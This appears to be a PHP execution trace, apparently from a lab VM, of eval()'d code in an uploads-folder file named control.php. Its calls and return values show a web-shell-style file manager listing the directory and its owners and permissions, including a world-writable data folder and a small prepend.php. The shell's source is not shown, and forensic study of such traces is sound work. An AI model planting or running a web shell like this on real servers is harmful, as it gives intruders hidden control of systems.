4	135	0	0.020632	1254768	array_merge	0		/var/www/html/uploads/control.php(5) : eval()'d code	899	2	['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']	['type' => 'dir']
4	135	1	0.020657	1255208
4	135	R			['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	899	$dirs[] = ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	883	$i++
4	136	0	0.020716	1255520	fileowner	0		/var/www/html/uploads/control.php(5) : eval()'d code	884	1	'.htaccess'
4	136	1	0.020731	1255544
4	136	R			0
4	137	0	0.020744	1255504	posix_getpwuid	0		/var/www/html/uploads/control.php(5) : eval()'d code	884	1	0
4	137	1	0.020768	1256304
4	137	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	884	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	138	0	0.020810	1255536	filegroup	0		/var/www/html/uploads/control.php(5) : eval()'d code	885	1	'.htaccess'
4	138	1	0.020823	1255576
4	138	R			0
4	139	0	0.020836	1255536	posix_getgrgid	0		/var/www/html/uploads/control.php(5) : eval()'d code	885	1	0
4	139	1	0.020859	1256192
4	139	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	885	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	140	0	0.020895	1256056	filemtime	0		/var/www/html/uploads/control.php(5) : eval()'d code	888	1	'/var/www/html/uploads/.htaccess'
4	140	1	0.020911	1256112
4	140	R			1676248164
4	141	0	0.020924	1256016	date	0		/var/www/html/uploads/control.php(5) : eval()'d code	888	2	'Y-m-d H:i:s'	1676248164
4	141	1	0.020956	1256344
4	141	R			'2023-02-12 19:29:24'
4	142	0	0.020970	1256328	viewPermsColor	1		/var/www/html/uploads/control.php(5) : eval()'d code	889	1	'/var/www/html/uploads/.htaccess'
5	143	0	0.020985	1256328	is_readable	0		/var/www/html/uploads/control.php(5) : eval()'d code	322	1	'/var/www/html/uploads/.htaccess'
5	143	1	0.021001	1256368
5	143	R			TRUE
5	144	0	0.021014	1256328	is_writable	0		/var/www/html/uploads/control.php(5) : eval()'d code	324	1	'/var/www/html/uploads/.htaccess'
5	144	1	0.021030	1256368
5	144	R			FALSE
5	145	0	0.021044	1256328	fileperms	0		/var/www/html/uploads/control.php(5) : eval()'d code	325	1	'/var/www/html/uploads/.htaccess'
5	145	1	0.021057	1256368
5	145	R			33188
5	146	0	0.021070	1256328	perms	1		/var/www/html/uploads/control.php(5) : eval()'d code	325	1	33188
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	304	$i = '-'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	310	$i .= 'r'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	311	$i .= 'w'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	312	$i .= '-'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	313	$i .= 'r'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	314	$i .= '-'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	315	$i .= '-'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	316	$i .= 'r'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	317	$i .= '-'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	318	$i .= '-'
5	146	1	0.021188	1256368
5	146	R			'-rw-r--r--'
4	142	1	0.021202	1256408
4	142	R			'<font color=white><b>-rw-r--r--</b></font>'
4	147	0	0.021219	1256408	filesize	0		/var/www/html/uploads/control.php(5) : eval()'d code	890	1	'/var/www/html/uploads/.htaccess'
4	147	1	0.021233	1256448
4	147	R			64
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	892	$tmp = ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root']
4	148	0	0.021269	1256032	is_file	0		/var/www/html/uploads/control.php(5) : eval()'d code	894	1	'/var/www/html/uploads/.htaccess'
4	148	1	0.021283	1256072
4	148	R			TRUE
4	149	0	0.021296	1255976	array_merge	0		/var/www/html/uploads/control.php(5) : eval()'d code	895	2	['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root']	['type' => 'file']
4	149	1	0.021320	1256416
4	149	R			['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	895	$files[] = ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	883	$i++
4	150	0	0.021378	1256728	fileowner	0		/var/www/html/uploads/control.php(5) : eval()'d code	884	1	'control.php'
4	150	1	0.021394	1256752
4	150	R			1000
4	151	0	0.021407	1256712	posix_getpwuid	0		/var/www/html/uploads/control.php(5) : eval()'d code	884	1	1000
4	151	1	0.021438	1257528
4	151	R			['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	884	$ow = ['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
4	152	0	0.021481	1256760	filegroup	0		/var/www/html/uploads/control.php(5) : eval()'d code	885	1	'control.php'
4	152	1	0.021495	1256800
4	152	R			1000
4	153	0	0.021508	1256760	posix_getgrgid	0		/var/www/html/uploads/control.php(5) : eval()'d code	885	1	1000
4	153	1	0.021540	1257416
4	153	R			['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000]
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	885	$gr = ['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000]
4	154	0	0.021576	1257296	filemtime	0		/var/www/html/uploads/control.php(5) : eval()'d code	888	1	'/var/www/html/uploads/control.php'
4	154	1	0.021592	1257360
4	154	R			1676248164
4	155	0	0.021605	1257256	date	0		/var/www/html/uploads/control.php(5) : eval()'d code	888	2	'Y-m-d H:i:s'	1676248164
4	155	1	0.021636	1257584
4	155	R			'2023-02-12 19:29:24'
4	156	0	0.021651	1257576	viewPermsColor	1		/var/www/html/uploads/control.php(5) : eval()'d code	889	1	'/var/www/html/uploads/control.php'
5	157	0	0.021665	1257576	is_readable	0		/var/www/html/uploads/control.php(5) : eval()'d code	322	1	'/var/www/html/uploads/control.php'
5	157	1	0.021681	1257616
5	157	R			TRUE
5	158	0	0.021694	1257576	is_writable	0		/var/www/html/uploads/control.php(5) : eval()'d code	324	1	'/var/www/html/uploads/control.php'
5	158	1	0.021710	1257616
5	158	R			FALSE
5	159	0	0.021723	1257576	fileperms	0		/var/www/html/uploads/control.php(5) : eval()'d code	325	1	'/var/www/html/uploads/control.php'
5	159	1	0.021737	1257616
5	159	R			33204
5	160	0	0.021750	1257576	perms	1		/var/www/html/uploads/control.php(5) : eval()'d code	325	1	33204
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	304	$i = '-'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	310	$i .= 'r'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	311	$i .= 'w'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	312	$i .= '-'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	313	$i .= 'r'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	314	$i .= 'w'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	315	$i .= '-'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	316	$i .= 'r'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	317	$i .= '-'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	318	$i .= '-'
5	160	1	0.021867	1257616
5	160	R			'-rw-rw-r--'
4	156	1	0.021881	1257656
4	156	R			'<font color=white><b>-rw-rw-r--</b></font>'
4	161	0	0.021897	1257656	filesize	0		/var/www/html/uploads/control.php(5) : eval()'d code	890	1	'/var/www/html/uploads/control.php'
4	161	1	0.021911	1257696
4	161	R			95692
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	892	$tmp = ['name' => 'control.php', 'path' => '/var/www/html/uploads/control.php', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 95692, 'owner' => 'osboxes', 'group' => 'osboxes']
4	162	0	0.021948	1257280	is_file	0		/var/www/html/uploads/control.php(5) : eval()'d code	894	1	'/var/www/html/uploads/control.php'
4	162	1	0.021962	1257320
4	162	R			TRUE
4	163	0	0.021976	1257216	array_merge	0		/var/www/html/uploads/control.php(5) : eval()'d code	895	2	['name' => 'control.php', 'path' => '/var/www/html/uploads/control.php', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 95692, 'owner' => 'osboxes', 'group' => 'osboxes']	['type' => 'file']
4	163	1	0.021999	1257656
4	163	R			['name' => 'control.php', 'path' => '/var/www/html/uploads/control.php', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 95692, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	895	$files[] = ['name' => 'control.php', 'path' => '/var/www/html/uploads/control.php', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 95692, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	883	$i++
4	164	0	0.022058	1257592	fileowner	0		/var/www/html/uploads/control.php(5) : eval()'d code	884	1	'data'
4	164	1	0.022073	1257600
4	164	R			0
4	165	0	0.022086	1257560	posix_getpwuid	0		/var/www/html/uploads/control.php(5) : eval()'d code	884	1	0
4	165	1	0.022110	1258360
4	165	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	884	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	166	0	0.022152	1257576	filegroup	0		/var/www/html/uploads/control.php(5) : eval()'d code	885	1	'data'
4	166	1	0.022166	1257616
4	166	R			0
4	167	0	0.022179	1257576	posix_getgrgid	0		/var/www/html/uploads/control.php(5) : eval()'d code	885	1	0
4	167	1	0.022201	1258232
4	167	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	885	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	168	0	0.022237	1258096	filemtime	0		/var/www/html/uploads/control.php(5) : eval()'d code	888	1	'/var/www/html/uploads/data'
4	168	1	0.022253	1258160
4	168	R			1676248164
4	169	0	0.022266	1258064	date	0		/var/www/html/uploads/control.php(5) : eval()'d code	888	2	'Y-m-d H:i:s'	1676248164
4	169	1	0.022298	1258392
4	169	R			'2023-02-12 19:29:24'
4	170	0	0.022313	1258376	viewPermsColor	1		/var/www/html/uploads/control.php(5) : eval()'d code	889	1	'/var/www/html/uploads/data'
5	171	0	0.022326	1258376	is_readable	0		/var/www/html/uploads/control.php(5) : eval()'d code	322	1	'/var/www/html/uploads/data'
5	171	1	0.022342	1258416
5	171	R			TRUE
5	172	0	0.022355	1258376	is_writable	0		/var/www/html/uploads/control.php(5) : eval()'d code	324	1	'/var/www/html/uploads/data'
5	172	1	0.022371	1258416
5	172	R			TRUE
5	173	0	0.022384	1258376	fileperms	0		/var/www/html/uploads/control.php(5) : eval()'d code	327	1	'/var/www/html/uploads/data'
5	173	1	0.022397	1258416
5	173	R			16895
5	174	0	0.022410	1258376	perms	1		/var/www/html/uploads/control.php(5) : eval()'d code	327	1	16895
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	306	$i = 'd'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	310	$i .= 'r'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	311	$i .= 'w'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	312	$i .= 'x'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	313	$i .= 'r'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	314	$i .= 'w'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	315	$i .= 'x'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	316	$i .= 'r'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	317	$i .= 'w'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	318	$i .= 'x'
5	174	1	0.022539	1258416
5	174	R			'drwxrwxrwx'
4	170	1	0.022554	1258456
4	170	R			'<font color=#e6b000><b>drwxrwxrwx</b></font>'
4	175	0	0.022571	1258456	filesize	0		/var/www/html/uploads/control.php(5) : eval()'d code	890	1	'/var/www/html/uploads/data'
4	175	1	0.022585	1258496
4	175	R			4096
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	892	$tmp = ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']
4	176	0	0.022650	1258080	is_file	0		/var/www/html/uploads/control.php(5) : eval()'d code	894	1	'/var/www/html/uploads/data'
4	176	1	0.022665	1258120
4	176	R			FALSE
4	177	0	0.022678	1258080	is_link	0		/var/www/html/uploads/control.php(5) : eval()'d code	896	1	'/var/www/html/uploads/data'
4	177	1	0.022695	1258120
4	177	R			FALSE
4	178	0	0.022708	1258080	is_dir	0		/var/www/html/uploads/control.php(5) : eval()'d code	898	1	'/var/www/html/uploads/data'
4	178	1	0.022722	1258120
4	178	R			TRUE
4	179	0	0.022735	1258024	array_merge	0		/var/www/html/uploads/control.php(5) : eval()'d code	899	2	['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']	['type' => 'dir']
4	179	1	0.022759	1258464
4	179	R			['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	899	$dirs[] = ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	883	$i++
4	180	0	0.022819	1258400	fileowner	0		/var/www/html/uploads/control.php(5) : eval()'d code	884	1	'prepend.php'
4	180	1	0.022835	1258424
4	180	R			0
4	181	0	0.022848	1258384	posix_getpwuid	0		/var/www/html/uploads/control.php(5) : eval()'d code	884	1	0
4	181	1	0.022874	1259184
4	181	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	884	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	182	0	0.022916	1258416	filegroup	0		/var/www/html/uploads/control.php(5) : eval()'d code	885	1	'prepend.php'
4	182	1	0.022930	1258456
4	182	R			0
4	183	0	0.022943	1258416	posix_getgrgid	0		/var/www/html/uploads/control.php(5) : eval()'d code	885	1	0
4	183	1	0.022966	1259072
4	183	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	885	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	184	0	0.023003	1258952	filemtime	0		/var/www/html/uploads/control.php(5) : eval()'d code	888	1	'/var/www/html/uploads/prepend.php'
4	184	1	0.023019	1259016
4	184	R			1676248164
4	185	0	0.023033	1258912	date	0		/var/www/html/uploads/control.php(5) : eval()'d code	888	2	'Y-m-d H:i:s'	1676248164
4	185	1	0.023064	1259240
4	185	R			'2023-02-12 19:29:24'
4	186	0	0.023080	1259232	viewPermsColor	1		/var/www/html/uploads/control.php(5) : eval()'d code	889	1	'/var/www/html/uploads/prepend.php'
5	187	0	0.023094	1259232	is_readable	0		/var/www/html/uploads/control.php(5) : eval()'d code	322	1	'/var/www/html/uploads/prepend.php'
5	187	1	0.023115	1259272
5	187	R			TRUE
5	188	0	0.023129	1259232	is_writable	0		/var/www/html/uploads/control.php(5) : eval()'d code	324	1	'/var/www/html/uploads/prepend.php'
5	188	1	0.023145	1259272
5	188	R			FALSE
5	189	0	0.023159	1259232	fileperms	0		/var/www/html/uploads/control.php(5) : eval()'d code	325	1	'/var/www/html/uploads/prepend.php'
5	189	1	0.023173	1259272
5	189	R			33261
5	190	0	0.023192	1259232	perms	1		/var/www/html/uploads/control.php(5) : eval()'d code	325	1	33261
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	304	$i = '-'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	310	$i .= 'r'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	311	$i .= 'w'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	312	$i .= 'x'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	313	$i .= 'r'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	314	$i .= '-'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	315	$i .= 'x'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	316	$i .= 'r'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	317	$i .= '-'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	318	$i .= 'x'
5	190	1	0.023309	1259272
5	190	R			'-rwxr-xr-x'
4	186	1	0.023323	1259312
4	186	R			'<font color=white><b>-rwxr-xr-x</b></font>'
4	191	0	0.023340	1259312	filesize	0		/var/www/html/uploads/control.php(5) : eval()'d code	890	1	'/var/www/html/uploads/prepend.php'
4	191	1	0.023355	1259352
4	191	R			57
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	892	$tmp = ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root']
4	192	0	0.023391	1258936	is_file	0		/var/www/html/uploads/control.php(5) : eval()'d code	894	1	'/var/www/html/uploads/prepend.php'
4	192	1	0.023406	1258976
4	192	R			TRUE
4	193	0	0.023419	1258872	array_merge	0		/var/www/html/uploads/control.php(5) : eval()'d code	895	2	['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root']	['type' => 'file']
4	193	1	0.023443	1259312
4	193	R			['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	895	$files[] = ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	883	$i++
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	901	GLOBALS['sort'] = [0 => 'name', 1 => 1]
4	194	0	0.023519	1259272	usort	0		/var/www/html/uploads/control.php(5) : eval()'d code	908	2	[0 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 1 => ['name' => 'control.php', 'path' => '/var/www/html/uploads/control.php', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 95692, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'], 2 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']]	'cmp'
5	195	0	0.023555	1259720	cmp	1		/var/www/html/uploads/control.php(5) : eval()'d code	908	2	['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file']	['name' => 'control.php', 'path' => '/var/www/html/uploads/control.php', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 95692, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']
6	196	0	0.023585	1259720	strtolower	0		/var/www/html/uploads/control.php(5) : eval()'d code	904	1	'.htaccess'
6	196	1	0.023599	1259752
6	196	R			'.htaccess'
6	197	0	0.023614	1259720	strtolower	0		/var/www/html/uploads/control.php(5) : eval()'d code	904	1	'control.php'
6	197	1	0.023627	1259752
6	197	R			'control.php'
6	198	0	0.023642	1259720	strcmp	0		/var/www/html/uploads/control.php(5) : eval()'d code	904	2	'.htaccess'	'control.php'
6	198	1	0.023656	1259784
6	198	R			-1
5	195	1	0.023671	1259720
5	195	R			-1
5	199	0	0.023684	1259720	cmp	1		/var/www/html/uploads/control.php(5) : eval()'d code	908	2	['name' => 'control.php', 'path' => '/var/www/html/uploads/control.php', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 95692, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']	['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
6	200	0	0.023717	1259720	strtolower	0		/var/www/html/uploads/control.php(5) : eval()'d code	904	1	'control.php'
6	200	1	0.023730	1259752
6	200	R			'control.php'
6	201	0	0.023745	1259720	strtolower	0		/var/www/html/uploads/control.php(5) : eval()'d code	904	1	'prepend.php'
6	201	1	0.023758	1259752
6	201	R			'prepend.php'
6	202	0	0.023772	1259720	strcmp	0		/var/www/html/uploads/control.php(5) : eval()'d code	904	2	'control.php'	'prepend.php'
6	202	1	0.023786	1259784
6	202	R			-1
5	199	1	0.023800	1259720
5	199	R			-1
4	194	1	0.023813	1259344
4	194	R			TRUE
4	203	0	0.023826	1259296	usort	0		/var/www/html/uploads/control.php(5) : eval()'d code	909	2	[0 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']]	'cmp'
5	204	0	0.023854	1259744	cmp	1		/var/www/html/uploads/control.php(5) : eval()'d code	909	2	['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']	['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
6	205	0	0.023881	1259744	strtolower	0		/var/www/html/uploads/control.php(5) : eval()'d code	904	1	'..'
6	205	1	0.023894	1259776
6	205	R			'..'
6	206	0	0.023908	1259744	strtolower	0		/var/www/html/uploads/control.php(5) : eval()'d code	904	1	'data'
6	206	1	0.023920	1259776
6	206	R			'data'
6	207	0	0.023933	1259744	strcmp	0		/var/www/html/uploads/control.php(5) : eval()'d code	904	2	'..'	'data'
6	207	1	0.023947	1259808
6	207	R			-3552051
5	204	1	0.023961	1259744
5	204	R			-3552051
4	203	1	0.023974	1259368
4	203	R			TRUE
4	208	0	0.023988	1259296	array_merge	0		/var/www/html/uploads/control.php(5) : eval()'d code	910	2	[0 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']]	[0 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 1 => ['name' => 'control.php', 'path' => '/var/www/html/uploads/control.php', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 95692, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'], 2 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']]
4	208	1	0.024033	1259736
4	208	R			[0 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 2 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 3 => ['name' => 'control.php', 'path' => '/var/www/html/uploads/control.php', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 95692, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'], 4 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']]
